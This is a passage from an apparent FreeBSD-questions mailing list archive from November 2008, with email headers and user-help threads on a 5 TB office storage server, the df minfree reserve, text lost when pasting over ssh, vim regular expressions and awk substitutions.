gigs, it's cheap. > Power Supply Unit: I've had good luck with Thermaltake W0144 Purepower > RX. They use 14cm fans which are silent, but move a lot of air and > I've had zero problems with them. The ability to only plugin the power > components you require helps maintain good airflow in the case. > > Network: Not all network cards are created equal! Go with one (or two) > PCI Intel network cards. If it's based on the Intel PRO/1000GT, it > will be supported by the em(4) driver on FreeBSD. I use the Intel > PWLA8391GT. Zero problems. > > As far as hard drives go, I've found recently that Western Digital > drives are quite silent, even under heavy read/writes, but I haven't > tried Seagate or any of the other major drive manufacturers in a long > time, so they may be about the same. Thanks for sharing. I'm just wondering what is the maximum number of hard disk a motherboard can support, i mean desktop motherboards. And is it easy to attach a storage unit in case you want more space? This company i'm talking about is growing with 1 Tb per year. I have talked to them to archive the data but it's out of discusion because they almost always need random parts of old projects and they want to access it ASAP. a great day, v > > With a little work, your goal of a silent, high-capacity server is > quite attainable. It can be pretty cheap to build too. > -Modulok- > From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 15:43:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 98F9D106564A for ; Sun, 30 Nov 2008 15:43:50 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from aegis.hamla.org (aegis.hamla.org [206.251.255.39]) by mx1.freebsd.org (Postfix) with ESMTP id 76B598FC14 for ; Sun, 30 Nov 2008 15:43:50 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from localhost (localhost [127.0.0.1]) by aegis.hamla.org (Postfix) with ESMTP id 00C785C78 for ; Sun, 30 Nov 2008 10:45:16 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=tandon.net; h= x-virus-scanned:in-reply-to:content-disposition:content-type :mime-version:references:reply-to:message-id:subject:from:date: received; s=aegis; t=1228059915; bh=ql/joAGqmhcXMOFxb+ZPZFIZXZDo HCKVfI0XgcoLoaQ=; b=qNaSAnpCP8zjrv80cJJ3gZzX3JFN433f9A5mHhPFH9Ws OHNf6YB3RbU0wZeGTeXkoZ5izzq2B+ZEg539li2GBnJ6Rbr+RsADjnF2a8phjL+X OAY3mkjmLJ+0ZdjDtEeADsBzPgA54Zh8v9MgAUozb461KY2J8oyt/pnhGRnA/JQ= Received: from aegis.hamla.org ([127.0.0.1]) by localhost (aegis.hamla.org [127.0.0.1]) (amavisd-new, port 10027) with LMTP id jsA0ZjTqdJLg for ; Sun, 30 Nov 2008 10:45:15 -0500 (EST) Date: Sun, 30 Nov 2008 10:43:49 -0500 From: Sahil Tandon To: freebsd-questions@freebsd.org Message-ID: <20081130154348.GB49413@shepherd> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Virus-Scanned: ClamAV version 0.94, clamav-milter version 0.94 on aegis.hamla.org X-Virus-Status: Clean Subject: Re: does not understand "df -H" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: "freebsd-questions@freebsd.org" List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 15:43:50 -0000 Tsu-Fan Cheng wrote: > Hi, > I have a pretty basic question: when I "df -H" my disk, the numbers > cant add up, > > > Filesystem Size Used Avail Capacity Mounted on > /dev/ad0c 484G 429G 17G 96% /ad0c > > > there should be more disk space available based on what is shown. why > is this like that?? This is default behavior. From tunefs(8): -m minfree Specify the percentage of space held back from normal users; the minimum free space threshold. The default value used is 8%. Note that lowering the threshold can adversely affect perfor- mance: +o Settings of 5% and less force space optimization to always be used which will greatly increase the overhead for file writes. +o The file system's ability to avoid fragmentation will be reduced when the total free space, including the reserve, drops below 15%. As free space approaches zero, throughput can degrade by up to a factor of three over the performance obtained at a 10% threshold. Your df output suggests your minfree is set to the default 8%; to confirm this: % dumpfs /dev/ad0c | grep minfree | cut -f 1-2 -- Sahil Tandon From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 15:45:41 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E93B21065672 for ; Sun, 30 Nov 2008 15:45:40 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.229]) by mx1.freebsd.org (Postfix) with ESMTP id B908A8FC0C for ; Sun, 30 Nov 2008 15:45:40 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so2018533rvf.43 for ; Sun, 30 Nov 2008 07:45:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=/pX4fi7qU/+fhvaPi+VP3gTrMnKwmj85I8m5pSCV3h4=; b=wrorBTpRKRmxKM3zoH8/98cdKu3bopdkUQWISPHzxbSkvZTWfA0tY2eQhb/cDgjgvF MCbPFDW2W2rXvLNMc5M2cJBvpk5nqKvw7tVabVE1UNFOglcTjMbGu/TU+kuXXHonks8x JX8vPfvLoVkdIFR8GN/ZQETA/T5kIUltCyqsA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=bdpwtcl9BplJ1CkaVJzk9/T5VKTfPNfRLFJko/S7hkHF2O4S1kFiRCVoRjJgKHysfZ FKuEu0/YSxKUFqsvjuIlJntQYHPy3XhWpi1jsMDhawWaqpO2ckrgU0AAJvhN9jr4qnFf hxJ734mU7lETEsTqpSxvC0OT49pChpO2sqNoQ= Received: by 10.142.162.5 with SMTP id k5mr3264749wfe.49.1228059940404; Sun, 30 Nov 2008 07:45:40 -0800 (PST) Received: by 10.142.180.17 with HTTP; Sun, 30 Nov 2008 07:45:40 -0800 (PST) Message-ID: <139b44430811300745v350d25b7p680287d9a24544fe@mail.gmail.com> Date: Sun, 30 Nov 2008 17:45:40 +0200 From: "Valentin Bud" To: vogelke+software@pobox.com In-Reply-To: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <139b44430811280548x36915301i766bfb15f162c8ca@mail.gmail.com> <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> Cc: freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 15:45:41 -0000 On Fri, Nov 28, 2008 at 9:45 PM, Karl Vogel wrote: >>> On Fri, 28 Nov 2008 15:48:45 +0200, >>> "Valentin Bud" said: > > V> I have to come up with a solution for a company that has as we speak 4 TB > V> of data spread among 3 computers with lots of HDDs. Of course I've > V> recommend them to buy a server for that storage capacity and for data > V> organization. > > Good idea. We had a similar problem here; a SuperMicro server tanked, > and the company that provided the warranty went bankrupt, so all we had > were 12 perfectly good 400-Gb SATA drives and nowhere to put them. > > The drives were the big-cost item, so I didn't want to just dump them. > We finally bought two empty IBM x3400 8-bay enclosures plus some IBM > SAS 3.5" hot-swap trays, and it's working like a charm. > > V> I thought of going on the ZFS way (on FreeBSD of course) with some raidz. > > In my experience, completely new filesystems or operating systems need > at least 5 years in the field to weed out all the weird corner-cases. > I might trust ZFS on Sun hardware (*with* vendor support) at this point, > but I'd wait awhile before trying it on anything else. I perfectly agree with you and yes there might be monsters out there in the ZFS on FreeBSD but the fact that us (the community) embrace the change and apply it makes the development of it possible and even faster. I don't want to offend anyone or to start a war this is just my opinion. > > This isn't a slam at ZFS or the FreeBSD porters, it's just recognition > of the fact that some types of software development are *not* time- > compressible, regardless of who's doing the work. > > V> One of the problems is that the server will stay in their office so it > V> has to be quite silent. > > Not a good idea, especially if this data is their bread-and-butter. > You can walk out the door with a system this size on your shoulder, > so I'd recommend a locked room with reasonable cooling and *clean* > power. You don't need a 10-foot-tall zillion-dollar Liebert A/C, > but you absolutely need a UPS that can take care of power spikes; > the more moderate the environment, the less likely you are to have a > hardware failure. I have thought about a decent UPS and already told them that they should install an alarm system of some sort because neither I nor any IT company can warranty them physical security. The room is not possible :|, that would have been great. What do you think about a rack of some sort? > > I don't use disk mirroring because 99% of our problems come from humans > rather than hardware. If someone zaps the wrong file, a mirror will > simply replicate that mistake; we have two matching servers in separate > rooms, and we run rsync nightly to back up the production box without > deleting any files. I also run hourly backups on the production box > to store anything that's been modified in the last 60 minutes, which > gives us a nice file history and takes care of most recovery problems. This is the actual technology i apply ATM in one of the offices in which i have 2 BSD boxes. I thought about using RAID because of the amount of data and the safety of it and plus the second box is out of the question ATM :|. > > With two servers, I can use basic UFS filesystems and get fine I/O > performance with minimum maintenance. thank you for your thoughts, v > > -- > Karl Vogel I don't speak for the USAF or my company > > The first product Motorola started to develop was a record player for cars. > At that time, the most known player on the market was Victrola, so they > called themselves Motorola. --possibly-true item for a lull in conversation > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 15:53:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9510A1065672 for ; Sun, 30 Nov 2008 15:53:45 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.173]) by mx1.freebsd.org (Postfix) with ESMTP id 649B38FC12 for ; Sun, 30 Nov 2008 15:53:45 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2262548wfg.7 for ; Sun, 30 Nov 2008 07:53:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=cA7XoHD72Bx88WEBTxHfClp8V1kkr4kzCenUnGWartE=; b=aHju7/c/T7wgY5StT7l0kETY/hvxRHCQMu6xItSoDLkiw0Q3XAZqCLLoTJcoXJ/7iF KryqWdg3WwTKiMN8hzrWXV/c75LphLYvwwps6FNhweCJddxSoZUwoh+hym0PXG5ny/xD KUoWp6ZD4cIIpglTQAAqVyOVTx0wJYIidMFU0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=f82iPElHBMmUgfw0dpWINh5cOgnpOTO8v4U+xElaGZ1yM9MapEcWeXiceuFcLiFRw5 Q7oS2ZTvvd2Q606pIDfblzDJ+hKeO+sa8dTk4oRRF5oOjyGLUOorAoVBR/hq+kGRRZr1 4gRuIp9hHR9oc6SXfQvICzpuC0yrbDYDr+o/A= Received: by 10.143.19.16 with SMTP id w16mr4122704wfi.200.1228060425138; Sun, 30 Nov 2008 07:53:45 -0800 (PST) Received: by 10.142.180.17 with HTTP; Sun, 30 Nov 2008 07:53:45 -0800 (PST) Message-ID: <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> Date: Sun, 30 Nov 2008 17:53:45 +0200 From: "Valentin Bud" To: vogelke+software@pobox.com In-Reply-To: <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <20081128212753.D6715@wojtek.tensor.gdynia.pl> <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> Cc: freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 15:53:45 -0000 On Fri, Nov 28, 2008 at 11:55 PM, Karl Vogel wrote: >>> On Fri, 28 Nov 2008 14:45:31 -0500, >>> I spewed something along the lines of: > > K> In my experience, completely new filesystems or operating systems need at > K> least 5 years in the field to weed out all the weird corner-cases. I might > K> trust ZFS on Sun hardware (*with* vendor support) at this point, but I'd > K> wait awhile before trying it on anything else. > >>> On Fri, 28 Nov 2008 21:28:51 +0100, >>> Wojciech Puchar said: > > W> if it will ever be good filesystem, it will be no longer ZFS. just the > W> ideas is in big part wrong. > > I'm not trying to start a religious war, but at least one idea in ZFS is > worth its weight in platinum: end-to-end file-integrity checks. ZFS can > (and does) find and correct file errors introduced by disk firmware and > media problems. With the sheer volume of stuff being stored these days, > that capability (in any filesystem) is going to be crucial. This is one of the main reasons i want to go with ZFS. Another would be the filesystem level compression of the data. I have noticed that 3dmax files (one of the programs the company works with) are very "compressable" (from 50 Mb to ~ 7Mb). thank you, v > > -- > Karl Vogel I don't speak for the USAF or my company > > I think that's how Chicago got started. A bunch of people in New York > said, "Gee, I'm enjoying the crime and the poverty, but it just isn't > cold enough. Let's go west." --Richard Jeni > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 16:37:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 35ABF1065670 for ; Sun, 30 Nov 2008 16:37:19 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 04F9C8FC08 for ; Sun, 30 Nov 2008 16:37:18 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 17336AFC1C6; Sun, 30 Nov 2008 07:37:18 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Sun, 30 Nov 2008 17:36:28 +0100 User-Agent: KMail/1.9.7 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200811301736.30079.fbsd.questions@rachie.is-a-geek.net> Cc: Eugene Pimenov Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 16:37:19 -0000 On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > Hello everyone, > > I'm not really sure weither it's related to freebsd or ssh. > > When I paste a lot of data (6060 bytes, 60 lines 100 bytes each + > =91\n=92) via ssh into `cat > test.txt` or the small program, one freebsd > receives 5181, another receives 3221 bytes. > > The number of bytes freebsd receives are always the same. > > I can't reproduce this on linux (OpenSSH 4.3p2 on debian and OpenSSH > 4.7p1 on 2 gentoo boxes). Also, I have one freebsd box without this > problem (7.0-STABLE, openssh 4.5p1). > > Source of the small program: > > #include > > int main() > { > char buf[10000]; > size_t readed =3D 0; > while(!feof(stdin)) { > readed+=3Dfread(buf, 1, sizeof(buf), stdin); > } > > printf("I've received %d bytes\n", readed); > return 0; > } > > Versions of sshd are =93OpenSSH_4.5p1 FreeBSD-20061110, OpenSSL 0.9.8e > 23 Feb 2007=94. FreeBSD versions are FreeBSD 7.0-BETA4 and FreeBSD 7.0- > RELEASE. > > Why is it happening? What should I do to stop this? It's pretty > annoying. Not sure, but can you copy files via cat? As in: cat /tmp/foo | ssh machine "cat - >/tmp/foo" If that isn't truncated, I can only think of clipboard limitations or tty=20 issues. =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 16:53:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 05C341065670 for ; Sun, 30 Nov 2008 16:53:56 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.187]) by mx1.freebsd.org (Postfix) with ESMTP id 4B6D98FC16 for ; Sun, 30 Nov 2008 16:53:55 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1105760nfh.33 for ; Sun, 30 Nov 2008 08:53:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:cc:message-id:from:to :in-reply-to:content-type:content-transfer-encoding:mime-version :subject:date:references:x-mailer; bh=hPNxcgUe6Pdvi+XSLo24ESxlgIU7Ivd/woL2S/UiMMk=; b=e1+oIPw1AgLxaBQzKqxFkcpTNcULSmlBCzs3ja+JC7FH62UqcCIfUH5jNeopqWYNUR j40Lrt3s2csaACCKoQA1T9IwcVQjDluAu8gXCfTgVBqyYQdZhUHHO2dMaSsQk6yZHH/+ KaB1+OXZtirMWRjyIyN3mEXKRPJ+v6NcJQSgs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=cc:message-id:from:to:in-reply-to:content-type :content-transfer-encoding:mime-version:subject:date:references :x-mailer; b=qAQjOb77yV59x+FCgy05tPcM4WuBauDk2JPI5Tx9WfWxsL1tA1c0JMxE5aLbVLGGhC WgKwTEDRVIYlhr+lEOLDrfLknrijuMWMFIReFqx5GG6SzaAsHa/j0JNHaDzztPI9R9YT aY27/r0MMVAXcgApx2blCbh48NzQZSShFPLF0= Received: by 10.103.252.17 with SMTP id e17mr4131702mus.14.1228064033930; Sun, 30 Nov 2008 08:53:53 -0800 (PST) Received: from ?192.168.1.50? (ppp91-76-54-50.pppoe.mtu-net.ru [91.76.54.50]) by mx.google.com with ESMTPS id j9sm4184300mue.19.2008.11.30.08.53.52 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sun, 30 Nov 2008 08:53:53 -0800 (PST) Message-Id: <8392DE41-4800-4CE9-A078-C1921FADDD9A@gmail.com> From: Eugene Pimenov To: Mel In-Reply-To: <200811301736.30079.fbsd.questions@rachie.is-a-geek.net> Content-Type: text/plain; charset=KOI8-R; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (Apple Message framework v929.2) Date: Sun, 30 Nov 2008 19:53:21 +0300 References: <200811301736.30079.fbsd.questions@rachie.is-a-geek.net> X-Mailer: Apple Mail (2.929.2) Cc: freebsd-questions@freebsd.org Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 16:53:56 -0000 30.11.2008, =D7 19:36, Mel =CE=C1=D0=C9=D3=C1=CC(=C1): > On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > > Not sure, but can you copy files via cat? As in: > cat /tmp/foo | ssh machine "cat - >/tmp/foo" > > If that isn't truncated, I can only think of clipboard limitations =20 > or tty > issues. No, it's not truncated. All of 6060 bytes are copied. What kind of tty issues/clipboard limitations might it be? > > > --=20 > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 17:15:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 94F3B1065677 for ; Sun, 30 Nov 2008 17:15:07 +0000 (UTC) (envelope-from drew@mykitchentable.net) Received: from smtpauth.surewest.net (smtpauth.surewest.net [66.60.130.153]) by mx1.freebsd.org (Postfix) with ESMTP id 7E9DE8FC0C for ; Sun, 30 Nov 2008 17:15:07 +0000 (UTC) (envelope-from drew@mykitchentable.net) Received: from blacklamb.mykitchentable.net (unknown [69.62.230.77]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by smtpauth.surewest.net (Postfix) with ESMTP id A21A89BEB8 for ; Sun, 30 Nov 2008 09:14:40 -0800 (PST) Received: from [192.168.1.3] (bigdaddy.mykitchentable.net [192.168.1.3]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by blacklamb.mykitchentable.net (Postfix) with ESMTPSA id CA510164870 for ; Sun, 30 Nov 2008 09:15:04 -0800 (PST) Message-ID: <4932CA0D.8080109@mykitchentable.net> Date: Sun, 30 Nov 2008 09:14:53 -0800 From: Drew Tomlinson User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: FreeBSD Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 17:15:07 -0000 I'm attempting to take an ldiff file and flip first/last name order. However I can not figure out how to match hyphenated last names. In vim, my current search/replace string is: %s/cn=\(\w\+\-*\) \(\w\+\),/cn=\2 \1,/gc This will match: cn=Smith Joe, and replace it with: cn=Joe Smith, But it will not match: cn=Smith-Brown Joe, nor replace it with: cn=Joe Smith-Brown, I've tried various incantations of escaping and quantifying yet I can not figure out how to do what I want. Please show me my error. Thanks, Drew -- Be a Great Magician! Visit The Alchemist's Warehouse http://www.alchemistswarehouse.com From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 17:15:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 20D051065730 for ; Sun, 30 Nov 2008 17:15:24 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (ns1.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id D3DFE8FC13 for ; Sun, 30 Nov 2008 17:15:23 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mAUHFmsR044291; Sun, 30 Nov 2008 09:15:48 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Sun, 30 Nov 2008 09:15:16 -0800 (PST) Date: Sun, 30 Nov 2008 09:15:15 -0800 From: Gary Kline To: Giorgos Keramidas Message-ID: <20081130171515.GA25123@thought.org> References: <20081130045944.GA94896@thought.org> <8763m535qm.fsf@kobe.laptop> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8763m535qm.fsf@kobe.laptop> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 17:15:24 -0000 On Sun, Nov 30, 2008 at 11:47:29AM +0200, Giorgos Keramidas wrote: > On Sat, 29 Nov 2008 20:59:51 -0800, Gary Kline wrote: > > wordnet/wn prints the string "noun" out whereas I'd rather it simply > > printed "n." Is there a way of making this substitution using awk? > > (I've never used awk except as a cmdline filter.) > > > > The following fails: > > > > wn foot -over |grep Overview |awk > > {if(!strcmp($3,"noun"))$3="n."; '{printf("%s %s\n", $4, $3);}}' > > > > If there are any shortcuts, please clue me in! > > Don't do this with a long stream of if/else/.../else blocks. AWK is a > pattern based rule-language. You can apply different blocks of code to > lines that match patterns like this: > > $3 ~ /adjective/ { print $1,"adj." } > $3 ~ /noun/ { print $1,"n." } > $3 ~ /verb/ { print $1,"v." } Thank you! Would I enclose the three lines with "BEGIN", and end with an "exit;" at the end? > -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 17:45:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9DD3B1065677 for ; Sun, 30 Nov 2008 17:45:38 +0000 (UTC) (envelope-from prad@towardsfreedom.com) Received: from idcmail-mo2no.shaw.ca (idcmail-mo2no.shaw.ca [64.59.134.9]) by mx1.freebsd.org (Postfix) with ESMTP id 767E38FC0A for ; Sun, 30 Nov 2008 17:45:38 +0000 (UTC) (envelope-from prad@towardsfreedom.com) Received: from pd5ml1no-ssvc.prod.shaw.ca ([10.0.153.166]) by pd5mo1no-svcs.prod.shaw.ca with ESMTP; 30 Nov 2008 10:45:37 -0700 X-Cloudmark-SP-Filtered: true X-Cloudmark-SP-Result: v=1.0 c=0 a=KoDPwd6_AAAA:8 a=KkW6-k5YubuMPo-5H-EA:9 a=kE664f_7sJSekuffmGYA:7 a=tXZOJdQCE6MPSSUFqgVBFr0nxocA:4 a=Sllw8v0m4fwA:10 Received: from s0106000d935c7902.du.shawcable.net (HELO gom.home) ([70.67.160.177]) by pd5ml1no-dmz.prod.shaw.ca with ESMTP; 30 Nov 2008 10:45:37 -0700 Received: from gom.home (localhost [127.0.0.1]) by gom.home (Postfix) with ESMTP id 3DCCC1701E; Sun, 30 Nov 2008 09:45:29 -0800 (PST) Date: Sun, 30 Nov 2008 09:45:28 -0800 From: prad To: freebsd-questions@freebsd.org Message-ID: <20081130094528.3bdf8782@gom.home> In-Reply-To: <4932CA0D.8080109@mykitchentable.net> References: <4932CA0D.8080109@mykitchentable.net> X-Mailer: Claws Mail 3.3.1 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Drew Tomlinson Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 17:45:38 -0000 On Sun, 30 Nov 2008 09:14:53 -0800 Drew Tomlinson wrote: > I'm attempting to take an ldiff file and flip first/last name order. > you can try using sh (i'm using zsh) file data.txt has the following: joe brown joe brown-smith file t.sh is coded as: #!/usr/local/bin/zsh # while read var; do f=${var% *} l=${var#* } echo $l, $f done < $1 then you just run it as t.sh data.txt -- In friendship, prad ... with you on your journey Towards Freedom http://www.towardsfreedom.com (website) Information, Inspiration, Imagination - truly a site for soaring I's From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 18:04:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3ED85106564A for ; Sun, 30 Nov 2008 18:04:14 +0000 (UTC) (envelope-from keramida@freebsd.org) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id AAE708FC17 for ; Sun, 30 Nov 2008 18:04:13 +0000 (UTC) (envelope-from keramida@freebsd.org) Received: from kobe.laptop (adsl144-35.kln.forthnet.gr [195.74.243.35]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mAUI45In009843 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 30 Nov 2008 20:04:10 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mAUI45Xl090570; Sun, 30 Nov 2008 20:04:05 +0200 (EET) (envelope-from keramida@freebsd.org) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mAUI43An090569; Sun, 30 Nov 2008 20:04:03 +0200 (EET) (envelope-from keramida@freebsd.org) From: Giorgos Keramidas To: Gary Kline References: <20081130045944.GA94896@thought.org> <8763m535qm.fsf@kobe.laptop> <20081130171515.GA25123@thought.org> Date: Sun, 30 Nov 2008 20:04:03 +0200 In-Reply-To: <20081130171515.GA25123@thought.org> (Gary Kline's message of "Sun, 30 Nov 2008 09:15:15 -0800") Message-ID: 